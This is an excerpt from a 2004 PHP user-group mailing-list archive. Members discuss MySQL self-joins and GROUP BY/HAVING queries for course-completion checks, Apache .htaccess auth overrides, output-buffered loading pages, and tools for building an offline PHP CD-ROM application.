shows up 3 times (once in each of the tables). Is there any way to just get
unique student_fid's?

Thanks for your help.




----- Original Message ----- 
From: "Bill Patterson" <patterson at computer.org>
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Sent: Sunday, May 23, 2004 6:04 PM
Subject: Re: [nycphp-talk] SQL statement question


> *mysql> select a.Student_FID from TMPhistory a, TMPhistory b
>     -> where a.Student_FID = b.Student_FID
>     -> and a.Course_FID = 5 and b.Course_FID = 2;
> +-------------+
> | Student_FID |
> +-------------+
> |          34 |
> +-------------+*
>
> to find out about 3 courses just add another alias for your table
>
> Bill
>
>
> harvey wrote:
>
> > Hello,
> >
> > I'm going to create a MySql table that looks something like the
> > following (I think). It's a history of courses taken by students.
> >
> > History_ID Student_FID Course_FID
> > 1          34          2
> > 2          17          7
> > 3          21          5
> > 4          02          5
> > 5          34          5
> > 6          17          4
> > ...        ...         ...
> >
> > I'd like to be able to say which students have met the requirements of
> > certain programs. So, I need a statement that will produce a list of
> > Student_FID's that are matched with a particular set of Course_FID's.
> > For instance, which students took both course 5 and course 2?
> >
> > So, I'm trying subqueries to find students who have taken courses
> > 1,2,and 3:
> >
> > "SELECT *
> >  FROM
> >  (SELECT *
> >   FROM
> >   (SELECT *
> >    FROM history
> >    WHERE course_fid = 3)
> >    AS id3
> >   WHERE course_fid = 2)
> >   AS id2
> >  WHERE course_fid = 1"
> >
> > I get an error that my sql syntax is wrong. Maybe it is. Or maybe my
> > host's version of MySQL is too old? Is there a better SQL statement?
> > Any help is appreciated...
> >
> > Thanks!
> >
> >------------------------------------------------------------------------
> >
> >_______________________________________________
> >talk mailing list
> >talk at lists.nyphp.org
> >http://lists.nyphp.org/mailman/listinfo/talk
> >
> >
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>




From danielc at analysisandsolutions.com  Sun May 23 19:57:45 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Sun, 23 May 2004 19:57:45 -0400
Subject: [nycphp-talk] Output Buffering and Blank Page
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On Fri, May 21, 2004 at 01:37:58PM -0500, Thomas O'Neill wrote:

> When the page/image finishes loading (javascript onload) the page is
> forwarded on to the display script.

And, of course, you'll have a regular link in the <noscript> element so 
those smart enought to keep JavaScrap off will be able to retrieve their 
content.

--Dan

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From patterson at computer.org  Sun May 23 20:16:07 2004
From: patterson at computer.org (Bill Patterson)
Date: Sun, 23 May 2004 20:16:07 -0400
Subject: [nycphp-talk] SQL statement question
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I called it TMPhistory on my system so that I would know to drop it 
later.  The name you choose is up to you, so calling the table "history" 
should be fine.

To get just one answer (supposing there are more registration rows per 
student per course) you can place the word "distinct" before the name of 
the column you are selecting (and be sure not to select a unique column 
like History_ID):

SELECT distinct a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
WHERE a.student_fid = b.student_fid = c.student_fid
AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3


Bill

harvey wrote:

>Thanks, Bill.
>
>I tried the following, but I get an error that table TMPhistory does not
>exist. Do I have to somehow create the temporary tables first?
>
>SELECT a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
>WHERE a.student_fid = b.student_fid = c.student_fid
>AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3
>
>Also, I tried the following and it works, sort of:
>
>select * from history
>inner join history as t1 using (student_fid)
>inner join history as t2 using (student_fid)
>inner join history as t3 using (student_fid)
>where (t1.course_fid = 1)
>and (t2.course_fid = 2)
>and (t3.course_fid = 3)
>
>I get the correct student_fid, but I get it 3 times, I guess because it
>shows up 3 times (once in each of the tables). Is there any way to just get
>unique student_fid's?
>
>Thanks for your help.
>
>
>
>
>----- Original Message ----- 
>From: "Bill Patterson" <patterson at computer.org>
>To: "NYPHP Talk" <talk at lists.nyphp.org>
>Sent: Sunday, May 23, 2004 6:04 PM
>Subject: Re: [nycphp-talk] SQL statement question
>
>
>  
>
>>*mysql> select a.Student_FID from TMPhistory a, TMPhistory b
>>    -> where a.Student_FID = b.Student_FID
>>    -> and a.Course_FID = 5 and b.Course_FID = 2;
>>+-------------+
>>| Student_FID |
>>+-------------+
>>|          34 |
>>+-------------+*
>>
>>to find out about 3 courses just add another alias for your table
>>
>>Bill
>>
>>
>>harvey wrote:
>>
>>    
>>
>>>Hello,
>>>
>>>I'm going to create a MySql table that looks something like the
>>>following (I think). It's a history of courses taken by students.
>>>
>>>History_ID Student_FID Course_FID
>>>1          34          2
>>>2          17          7
>>>3          21          5
>>>4          02          5
>>>5          34          5
>>>6          17          4
>>>...        ...         ...
>>>
>>>I'd like to be able to say which students have met the requirements of
>>>certain programs. So, I need a statement that will produce a list of
>>>Student_FID's that are matched with a particular set of Course_FID's.
>>>For instance, which students took both course 5 and course 2?
>>>
>>>So, I'm trying subqueries to find students who have taken courses
>>>1,2,and 3:
>>>
>>>"SELECT *
>>> FROM
>>> (SELECT *
>>>  FROM
>>>  (SELECT *
>>>   FROM history
>>>   WHERE course_fid = 3)
>>>   AS id3
>>>  WHERE course_fid = 2)
>>>  AS id2
>>> WHERE course_fid = 1"
>>>
>>>I get an error that my sql syntax is wrong. Maybe it is. Or maybe my
>>>host's version of MySQL is too old? Is there a better SQL statement?
>>>Any help is appreciated...
>>>
>>>Thanks!
>>>
>>>------------------------------------------------------------------------
>>>
>>>_______________________________________________
>>>talk mailing list
>>>talk at lists.nyphp.org
>>>http://lists.nyphp.org/mailman/listinfo/talk
>>>
>>>
>>>      
>>>
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
>>    
>>
>
>
>_______________________________________________
>talk mailing list
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>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>



From drydell at att.net  Sun May 23 23:19:00 2004
From: drydell at att.net (drydell at att.net)
Date: Mon, 24 May 2004 03:19:00 +0000
Subject: [nycphp-talk] SQL statement question
Message-ID: <052420040319.24514.40B169A40000AE4E00005FC22160466648FF93939A9B868D@att.net>

you could take another approach which avoids table joins and is easier to extend with more courses:

$courses = array(2, 5...etc);

$sql = 'SELECT count(*), student_FID FROM TMPHistory WHERE Course_FID in ('.implode(',', $courses).') group by student_FID having count(*) = '.count($courses);


> I called it TMPhistory on my system so that I would know to drop it 
> later.  The name you choose is up to you, so calling the table "history" 
> should be fine.
> 
> To get just one answer (supposing there are more registration rows per 
> student per course) you can place the word "distinct" before the name of 
> the column you are selecting (and be sure not to select a unique column 
> like History_ID):
> 
> SELECT distinct a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
> WHERE a.student_fid = b.student_fid = c.student_fid
> AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3
> 
> 
> Bill
> 
> harvey wrote:
> 
> >Thanks, Bill.
> >
> >I tried the following, but I get an error that table TMPhistory does not
> >exist. Do I have to somehow create the temporary tables first?
> >
> >SELECT a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
> >WHERE a.student_fid = b.student_fid = c.student_fid
> >AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3
> >
> >Also, I tried the following and it works, sort of:
> >
> >select * from history
> >inner join history as t1 using (student_fid)
> >inner join history as t2 using (student_fid)
> >inner join history as t3 using (student_fid)
> >where (t1.course_fid = 1)
> >and (t2.course_fid = 2)
> >and (t3.course_fid = 3)
> >
> >I get the correct student_fid, but I get it 3 times, I guess because it
> >shows up 3 times (once in each of the tables). Is there any way to just get
> >unique student_fid's?
> >
> >Thanks for your help.
> >
> >
> >
> >
> >----- Original Message ----- 
> >From: "Bill Patterson" <patterson at computer.org>
> >To: "NYPHP Talk" <talk at lists.nyphp.org>
> >Sent: Sunday, May 23, 2004 6:04 PM
> >Subject: Re: [nycphp-talk] SQL statement question
> >
> >
> >  
> >
> >>*mysql> select a.Student_FID from TMPhistory a, TMPhistory b
> >>    -> where a.Student_FID = b.Student_FID
> >>    -> and a.Course_FID = 5 and b.Course_FID = 2;
> >>+-------------+
> >>| Student_FID |
> >>+-------------+
> >>|          34 |
> >>+-------------+*
> >>
> >>to find out about 3 courses just add another alias for your table
> >>
> >>Bill
> >>
> >>
> >>harvey wrote:
> >>
> >>    
> >>
> >>>Hello,
> >>>
> >>>I'm going to create a MySql table that looks something like the
> >>>following (I think). It's a history of courses taken by students.
> >>>
> >>>History_ID Student_FID Course_FID
> >>>1          34          2
> >>>2          17          7
> >>>3          21          5
> >>>4          02          5
> >>>5          34          5
> >>>6          17          4
> >>>...        ...         ...
> >>>
> >>>I'd like to be able to say which students have met the requirements of
> >>>certain programs. So, I need a statement that will produce a list of
> >>>Student_FID's that are matched with a particular set of Course_FID's.
> >>>For instance, which students took both course 5 and course 2?
> >>>
> >>>So, I'm trying subqueries to find students who have taken courses
> >>>1,2,and 3:
> >>>
> >>>"SELECT *
> >>> FROM
> >>> (SELECT *
> >>>  FROM
> >>>  (SELECT *
> >>>   FROM history
> >>>   WHERE course_fid = 3)
> >>>   AS id3
> >>>  WHERE course_fid = 2)
> >>>  AS id2
> >>> WHERE course_fid = 1"
> >>>
> >>>I get an error that my sql syntax is wrong. Maybe it is. Or maybe my
> >>>host's version of MySQL is too old? Is there a better SQL statement?
> >>>Any help is appreciated...
> >>>
> >>>Thanks!
> >>>
> >>>------------------------------------------------------------------------
> >>>
> >>>_______________________________________________
> >>>talk mailing list
> >>>talk at lists.nyphp.org
> >>>http://lists.nyphp.org/mailman/listinfo/talk
> >>>
> >>>
> >>>      
> >>>
> >>_______________________________________________
> >>talk mailing list
> >>talk at lists.nyphp.org
> >>http://lists.nyphp.org/mailman/listinfo/talk
> >>
> >>    
> >>
> >
> >
> >_______________________________________________
> >talk mailing list
> >talk at lists.nyphp.org
> >http://lists.nyphp.org/mailman/listinfo/talk
> >
> >  
> >
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From nyphp at enobrev.com  Mon May 24 05:11:15 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Mon, 24 May 2004 05:11:15 -0400
Subject: [nycphp-talk] Output Buffering and Blank Page
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> > So at this point this little hack is working great in my 
> staging area.
> > How will this scale to all of our users?  Is it safe to put 
> the html 
> > (about 1k) into the sessions for that many people at the 
> same time? Am 
> > I going at this problem all wrong?
> 
> I'm by no means an expert is browser and JS tricks, but it 
> sounds like a clever way of doing it.  Clever enough even for 
> a presentation?  :)  It seems to be a common issue people 
> need to resolve.

I would have to agree.  As well, take a look at how the travel sites, like
expedia and orbitz do it.  From what I could tell, they have a basic
animated image showing during page load, and once the page is finished some
js outputs to hide the loading stuff and load the data.  I've used their
method in the past and it worked well. 

I've also seen a few people do the same with file uploads since php can't
grab the file headers as well as asp and perl can to show uploading info.

I would imagine both those sites run fairly well with heavy traffic (as I'm
sure they get far more day to day traffic than the majority of the things
I've worked on thus far).

Mark




From list at harveyk.com  Mon May 24 08:58:31 2004
From: list at harveyk.com (harvey)
Date: Mon, 24 May 2004 08:58:31 -0400
Subject: [nycphp-talk] SQL statement question
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Message-ID: <065101c4418e$d4b01ed0$0200a8c0@desktop>

Thanks, that works too. Thanks to everyone for your help. I didn't realize
there would be so many different ways to approach the same issue. Is there
an online resource you would recommend to learn more about 'advanced' sql
queries? This seems to be a pretty good start, but there's not much
explanation, and it's not complete:
http://www.w3schools.com/sql/default.asp. Thanks again...


----- Original Message ----- 
From: <drydell at att.net>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Sunday, May 23, 2004 11:19 PM
Subject: Re: [nycphp-talk] SQL statement question


> you could take another approach which avoids table joins and is easier to
extend with more courses:
>
> $courses = array(2, 5...etc);
>
> $sql = 'SELECT count(*), student_FID FROM TMPHistory WHERE Course_FID in
('.implode(',', $courses).') group by student_FID having count(*) =
'.count($courses);
>
>
> > I called it TMPhistory on my system so that I would know to drop it
> > later.  The name you choose is up to you, so calling the table "history"
> > should be fine.
> >
> > To get just one answer (supposing there are more registration rows per
> > student per course) you can place the word "distinct" before the name of
> > the column you are selecting (and be sure not to select a unique column
> > like History_ID):
> >
> > SELECT distinct a.student_fid from TMPhistory a, TMPhistory b,
TMPhistory c
> > WHERE a.student_fid = b.student_fid = c.student_fid
> > AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3
> >
> >
> > Bill
> >
> > harvey wrote:
> >
> > >Thanks, Bill.
> > >
> > >I tried the following, but I get an error that table TMPhistory does
not
> > >exist. Do I have to somehow create the temporary tables first?
> > >
> > >SELECT a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
> > >WHERE a.student_fid = b.student_fid = c.student_fid
> > >AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3
> > >
> > >Also, I tried the following and it works, sort of:
> > >
> > >select * from history
> > >inner join history as t1 using (student_fid)
> > >inner join history as t2 using (student_fid)
> > >inner join history as t3 using (student_fid)
> > >where (t1.course_fid = 1)
> > >and (t2.course_fid = 2)
> > >and (t3.course_fid = 3)
> > >
> > >I get the correct student_fid, but I get it 3 times, I guess because it
> > >shows up 3 times (once in each of the tables). Is there any way to just
get
> > >unique student_fid's?
> > >
> > >Thanks for your help.
> > >
> > >
> > >
> > >
> > >----- Original Message ----- 
> > >From: "Bill Patterson" <patterson at computer.org>
> > >To: "NYPHP Talk" <talk at lists.nyphp.org>
> > >Sent: Sunday, May 23, 2004 6:04 PM
> > >Subject: Re: [nycphp-talk] SQL statement question
> > >
> > >
> > >
> > >
> > >>*mysql> select a.Student_FID from TMPhistory a, TMPhistory b
> > >>    -> where a.Student_FID = b.Student_FID
> > >>    -> and a.Course_FID = 5 and b.Course_FID = 2;
> > >>+-------------+
> > >>| Student_FID |
> > >>+-------------+
> > >>|          34 |
> > >>+-------------+*
> > >>
> > >>to find out about 3 courses just add another alias for your table
> > >>
> > >>Bill
> > >>
> > >>
> > >>harvey wrote:
> > >>
> > >>
> > >>
> > >>>Hello,
> > >>>
> > >>>I'm going to create a MySql table that looks something like the
> > >>>following (I think). It's a history of courses taken by students.
> > >>>
> > >>>History_ID Student_FID Course_FID
> > >>>1          34          2
> > >>>2          17          7
> > >>>3          21          5
> > >>>4          02          5
> > >>>5          34          5
> > >>>6          17          4
> > >>>...        ...         ...
> > >>>
> > >>>I'd like to be able to say which students have met the requirements
of
> > >>>certain programs. So, I need a statement that will produce a list of
> > >>>Student_FID's that are matched with a particular set of Course_FID's.
> > >>>For instance, which students took both course 5 and course 2?
> > >>>
> > >>>So, I'm trying subqueries to find students who have taken courses
> > >>>1,2,and 3:
> > >>>
> > >>>"SELECT *
> > >>> FROM
> > >>> (SELECT *
> > >>>  FROM
> > >>>  (SELECT *
> > >>>   FROM history
> > >>>   WHERE course_fid = 3)
> > >>>   AS id3
> > >>>  WHERE course_fid = 2)
> > >>>  AS id2
> > >>> WHERE course_fid = 1"
> > >>>
> > >>>I get an error that my sql syntax is wrong. Maybe it is. Or maybe my
> > >>>host's version of MySQL is too old? Is there a better SQL statement?
> > >>>Any help is appreciated...
> > >>>
> > >>>Thanks!
> > >>>
> >
>>>------------------------------------------------------------------------
> > >>>
> > >>>_______________________________________________
> > >>>talk mailing list
> > >>>talk at lists.nyphp.org
> > >>>http://lists.nyphp.org/mailman/listinfo/talk
> > >>>
> > >>>
> > >>>
> > >>>
> > >>_______________________________________________
> > >>talk mailing list
> > >>talk at lists.nyphp.org
> > >>http://lists.nyphp.org/mailman/listinfo/talk
> > >>
> > >>
> > >>
> > >
> > >
> > >_______________________________________________
> > >talk mailing list
> > >talk at lists.nyphp.org
> > >http://lists.nyphp.org/mailman/listinfo/talk
> > >
> > >
> > >
> >
> > _______________________________________________
> > talk mailing list
> > talk at lists.nyphp.org
> > http://lists.nyphp.org/mailman/listinfo/talk
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>




From danielc at analysisandsolutions.com  Mon May 24 23:50:15 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 24 May 2004 23:50:15 -0400
Subject: [nycphp-talk] SecurityFocus Newsletter #249 snippets
Message-ID: <20040525035014.GA5951@panix.com>

Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Valid...
http://www.securityfocus.com/bid/10306

PHPShop Remote PHP Script Execution Vulnerability
http://www.securityfocus.com/bid/10313

Tutorials Manager Multiple Remote SQL Injection Vulnerabilit...
http://www.securityfocus.com/bid/10314


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From nyphp at websapp.com  Wed May 26 08:06:21 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Wed, 26 May 2004 08:06:21 -0400
Subject: [nycphp-talk] Canceling password protected directories
Message-ID: <200405261206.i4QC6NmD004774@ns5.oddcast.com>

Hey,

I have a directory that is password protected using .htaccess. How can I
cancel that protection for specific subdirectories?


Thanks,
Daniel



From jcrawford at codebowl.com  Wed May 26 08:50:31 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 08:50:31 -0400
Subject: [nycphp-talk] Canceling password protected directories
References: <200405261206.i4QC6NmD004774@ns5.oddcast.com>
Message-ID: <000501c44320$0824f230$67f98aac@codebowl>

Daniel,

you would either need to use cpanel or whichever control panel your host
uses, there should be an option in there for editing your htaccess file, if
they do not use a control panel, you will need to edit the file manually.

I am not sure of the default in unix environments if you have access to this
file or not, you may want to check with your host.

Joe Crawford Jr.

----- Original Message -----
From: "Daniel Kushner" <nyphp at websapp.com>
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 8:06 AM
Subject: [nycphp-talk] Canceling password protected directories


> Hey,
>
> I have a directory that is password protected using .htaccess. How can I
> cancel that protection for specific subdirectories?
>
>
> Thanks,
> Daniel
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From nyphp at websapp.com  Wed May 26 08:54:27 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Wed, 26 May 2004 08:54:27 -0400
Subject: [nycphp-talk] Canceling password protected directories
In-Reply-To: <000501c44320$0824f230$67f98aac@codebowl>
Message-ID: <200405261254.i4QCsTAE029609@ns5.oddcast.com>

 
> I am not sure of the default in unix environments if you have 
> access to this file or not, you may want to check with your host.
> 
> Joe Crawford Jr.

I have full access to the files. The question is what goes into the
.htaccess to cancel the "AuthType Basic" from the parent directory.

-Daniel




> 
> ----- Original Message -----
> From: "Daniel Kushner" <nyphp at websapp.com>
> To: "'NYPHP Talk'" <talk at lists.nyphp.org>
> Sent: Wednesday, May 26, 2004 8:06 AM
> Subject: [nycphp-talk] Canceling password protected directories
> 
> 
> > Hey,
> >
> > I have a directory that is password protected using 
> .htaccess. How can 
> > I cancel that protection for specific subdirectories?
> >
> >
> > Thanks,
> > Daniel
> >
> > _______________________________________________
> > talk mailing list
> > talk at lists.nyphp.org
> > http://lists.nyphp.org/mailman/listinfo/talk
> >
> >
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 



From jcrawford at codebowl.com  Wed May 26 09:12:00 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 09:12:00 -0400
Subject: [nycphp-talk] Canceling password protected directories
References: <200405261254.i4QCsTAE029609@ns5.oddcast.com>
Message-ID: <000b01c44323$085ac7e0$67f98aac@codebowl>

Daniel,

i believe you just remove the line with the directory path that you want to
unprotect ;)

Joe Crawford Jr.

----- Original Message -----
From: "Daniel Kushner" <nyphp at websapp.com>
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 8:54 AM
Subject: RE: [nycphp-talk] Canceling password protected directories


>
> > I am not sure of the default in unix environments if you have
> > access to this file or not, you may want to check with your host.
> >
> > Joe Crawford Jr.
>
> I have full access to the files. The question is what goes into the
> .htaccess to cancel the "AuthType Basic" from the parent directory.
>
> -Daniel
>
>
>
>
> >
> > ----- Original Message -----
> > From: "Daniel Kushner" <nyphp at websapp.com>
> > To: "'NYPHP Talk'" <talk at lists.nyphp.org>
> > Sent: Wednesday, May 26, 2004 8:06 AM
> > Subject: [nycphp-talk] Canceling password protected directories
> >
> >
> > > Hey,
> > >
> > > I have a directory that is password protected using
> > .htaccess. How can
> > > I cancel that protection for specific subdirectories?
> > >
> > >
> > > Thanks,
> > > Daniel
> > >
> > > _______________________________________________
> > > talk mailing list
> > > talk at lists.nyphp.org
> > > http://lists.nyphp.org/mailman/listinfo/talk
> > >
> > >
> >
> > _______________________________________________
> > talk mailing list
> > talk at lists.nyphp.org
> > http://lists.nyphp.org/mailman/listinfo/talk
> >
> >
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From nyphp at websapp.com  Wed May 26 09:19:11 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Wed, 26 May 2004 09:19:11 -0400
Subject: [nycphp-talk] Canceling password protected directories
In-Reply-To: <000b01c44323$085ac7e0$67f98aac@codebowl>
Message-ID: <200405261319.i4QDJCjN009934@ns5.oddcast.com>

> i believe you just remove the line with the directory path 
> that you want to unprotect ;)

Not really:

In /var/www/html/.htaccess there is
AuthType Basic
AuthName "admin"
AuthUserFile "<path to passwd>"

I would like to unprotect /var/www/html/somedir
/var/www/html/somedir does not have an .htaccess, so there's nothing to
remove. 


-Daniel






From jcrawford at codebowl.com  Wed May 26 09:22:02 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 09:22:02 -0400
Subject: [nycphp-talk] Canceling password protected directories
References: <200405261319.i4QDJCjN009934@ns5.oddcast.com>
Message-ID: <003601c44324$6ee43630$67f98aac@codebowl>

Daniel, 

check the .htpasswd file, i believe the line you want is in there ;)

.htaccess and .htpasswd work together.  I forgot to mention that ;)

Joe Crawford Jr.

----- Original Message ----- 
From: "Daniel Kushner" <nyphp at websapp.com>
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 9:19 AM
Subject: RE: [nycphp-talk] Canceling password protected directories


> > i believe you just remove the line with the directory path 
> > that you want to unprotect ;)
> 
> Not really:
> 
> In /var/www/html/.htaccess there is
> AuthType Basic
> AuthName "admin"
> AuthUserFile "<path to passwd>"
> 
> I would like to unprotect /var/www/html/somedir
> /var/www/html/somedir does not have an .htaccess, so there's nothing to
> remove. 
> 
> 
> -Daniel
> 
> 
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 



From jcrawford at codebowl.com  Wed May 26 09:22:55 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 09:22:55 -0400
Subject: [nycphp-talk] Canceling password protected directories
References: <200405261319.i4QDJCjN009934@ns5.oddcast.com>
Message-ID: <003c01c44324$8f1506a0$67f98aac@codebowl>

by the way i believe that having your htaccess file and or htpasswd file in
your web directory is very insecure, there are programs that can crack
htaccess passwords.

Joe Crawford Jr.

----- Original Message -----
From: "Daniel Kushner" <nyphp at websapp.com>
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 9:19 AM
Subject: RE: [nycphp-talk] Canceling password protected directories


> > i believe you just remove the line with the directory path
> > that you want to unprotect ;)
>
> Not really:
>
> In /var/www/html/.htaccess there is
> AuthType Basic
> AuthName "admin"
> AuthUserFile "<path to passwd>"
>
> I would like to unprotect /var/www/html/somedir
> /var/www/html/somedir does not have an .htaccess, so there's nothing to
> remove.
>
>
> -Daniel
>
>
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From dcech at phpwerx.net  Wed May 26 09:27:13 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Wed, 26 May 2004 09:27:13 -0400
Subject: [nycphp-talk] Canceling password protected directories
In-Reply-To: <200405261319.i4QDJCjN009934@ns5.oddcast.com>
References: <200405261319.i4QDJCjN009934@ns5.oddcast.com>
Message-ID: <40B49B31.7010709@phpwerx.net>

Daniel Kushner wrote:
> In /var/www/html/.htaccess there is
> AuthType Basic
> AuthName "admin"
> AuthUserFile "<path to passwd>"
> 
> I would like to unprotect /var/www/html/somedir
> /var/www/html/somedir does not have an .htaccess, so there's nothing to
> remove. 

Looking through the Apache docs it doesn't seem there is a way to do 
this, the only supported AuthType directives are Basic and Digest.

You may want to try placing a .htaccess file in /var/www/html/somedir 
with the lines:

Allow from all
Satisfy any

You can read more about these directives here:

http://httpd.apache.org/docs-2.0/mod/core.html#satisfy

Dan



From nyphp at websapp.com  Wed May 26 09:35:38 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Wed, 26 May 2004 09:35:38 -0400
Subject: [nycphp-talk] Canceling password protected directories
In-Reply-To: <40B49B31.7010709@phpwerx.net>
Message-ID: <200405261335.i4QDZdOL021814@ns5.oddcast.com>

> You may want to try placing a .htaccess file in 
> /var/www/html/somedir with the lines:
> 
> Allow from all
> Satisfy any
> 
> You can read more about these directives here:
> 
> http://httpd.apache.org/docs-2.0/mod/core.html#satisfy
> 
> Dan
>

Perfect.

Thanks Dan

-Daniel



From jayeshsh at ceruleansky.com  Wed May 26 10:23:38 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Wed, 26 May 2004 10:23:38 -0400
Subject: [nycphp-talk] URL for David Sklar's QuickForm presentation
Message-ID: <40B4A86A.4040108@ceruleansky.com>

Hello all,

does anyone remember the URL for the online version of David Sklar's 
excellent presentation on QuickForm from last night?

I looked at his website, but did not seem to find it (I know, I know, I 
must be stupid or blind ...)

And as my aging memory is failing me, if someone could me fill me in, it 
would be great.

Thanks!

- Jay



From jayeshsh at ceruleansky.com  Wed May 26 11:07:45 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Wed, 26 May 2004 11:07:45 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
Message-ID: <40B4B2C1.2080902@ceruleansky.com>

Hello all,

I have done some research on the topic of using PHP to power a CD-based 
presentation/data retrieval program; I have not come up with any good 
answers yet (on how best to utilize PHP for this purpose). I thought 
that the smart people on this list might have insight into this issue.

The problem is as follows:
I would like to create a program that pop-ups when a user inserts a CD 
into their computer. This program will let the user enter the product 
code of Company A or Company B and it, in turn, will display the 
corresponding code for the same product manufactured by Company C. (This 
project would be for Company C.) When the code for the product by 
Company C is shown, corresponding details such as product image and 
specifications should also be available.

So, I would (most probably) need to store all this product data in a 
database, and then retrieve that information from another program.

Doing this thing with PHP, Apache and MySQL is no problem. The problem, 
however, occurs when I want to package this program onto a CD. Wouldn't 
a PHP, Apache, MySQL combination be too heavy for an offline, 
run-from-CD program? Would users cancel any installation program and not 
use the CD if it were that heavy? What would other solutions to this 
problem be?

Here are some answers I came up with:

* PHP-GTK - http://gtk.php.net/ + SQLite
I looked into PHP-GTK and played with it a bit. It looks nice, but I am 
still confused by the wide variety of tools available for it, especially 
on Windows. And I am not sure if PHP-GTK programs can talk to SQLite. If 
they can, I am not sure how to package my PHP-GTK programs along with 
the PHP binary and the SQLite database  on a CD. Can anyone recommend a 
good book on PHP-GTK ?

* XUL + PHP + MySQL / XUL + PHP + SQLite
The MozPHP plugin available at http://mozphp.mozdev.org/ lets you run 
PHP scripts directly through Mozilla, without needing the Apache server. 
  So, I could add Mozilla to the CD (along with the MozPHP plugin) and 
then make Mozilla display a PHP script which will generate a XUL based 
interface. The PHP script will still have to access some database: 
SQLite, perhaps? MySQL, maybe?

If it is MySQL, is there an embeddable / portable version of MySQL?

* JavaScript + XUL + MySQL -
There is are a couple of Mozilla add-ons that lets Mozilla directly 
access a MySQL database via JavaScript.
There is one by Jan Varga at mozilla.org (the one that looked better), 
but I cannot find the URL for it now.
The other one is at http://mysql.mozdev.org/ .
I do not like JavaScript's syntax that much, and as far as I remember 
both add-ons were not documented that much.

* Java + MySQL / Java + SQLite / Java + Berkeley DB
Well, in this option I am abandoning PHP totally. I will use Java to 
create a program that embeds another database engine.

Which option do you think is the best / most practical? Is PHP suited to 
making offline programs ? Can MySQL be embedded in PHP / Java programs ?

Thanks in advance.

Best Regards,

- Jay Sheth



From sklar at sklar.com  Wed May 26 11:20:36 2004
From: sklar at sklar.com (David Sklar)
Date: Wed, 26 May 2004 11:20:36 -0400
Subject: [nycphp-talk] URL for David Sklar's QuickForm presentation
In-Reply-To: <40B4A86A.4040108@ceruleansky.com>
References: <40B4A86A.4040108@ceruleansky.com>
Message-ID: <40B4B5C4.8000305@sklar.com>

Hi, Jayesh. You are neither stupid or blind -- I'm slow at updating my 
site! The presentation is at:

--> http://www.sklar.com/talks/nyphp-quickform

I'll be updating http://www.sklar.com/page/section/work today with a 
link to it.

Thanks,
David

Jayesh Sheth wrote:

> Hello all,
> 
> does anyone remember the URL for the online version of David Sklar's 
> excellent presentation on QuickForm from last night?
> 
> I looked at his website, but did not seem to find it (I know, I know, I 
> must be stupid or blind ...)
> 
> And as my aging memory is failing me, if someone could me fill me in, it 
> would be great.
> 
> Thanks!
> 
> - Jay
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 



From mitchy at spacemonkeylabs.com  Wed May 26 11:21:08 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Wed, 26 May 2004 11:21:08 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <40B4B2C1.2080902@ceruleansky.com>
References: <40B4B2C1.2080902@ceruleansky.com>
Message-ID: <40B4B5E4.1010307@spacemonkeylabs.com>

Jayesh Sheth wrote:

> Hello all,
>
> I have done some research on the topic of using PHP to power a 
> CD-based presentation/data retrieval program; I have not come up with 
> any good answers yet (on how best to utilize PHP for this purpose). I 
> thought that the smart people on this list might have insight into 
> this issue.
>
> The problem is as follows:
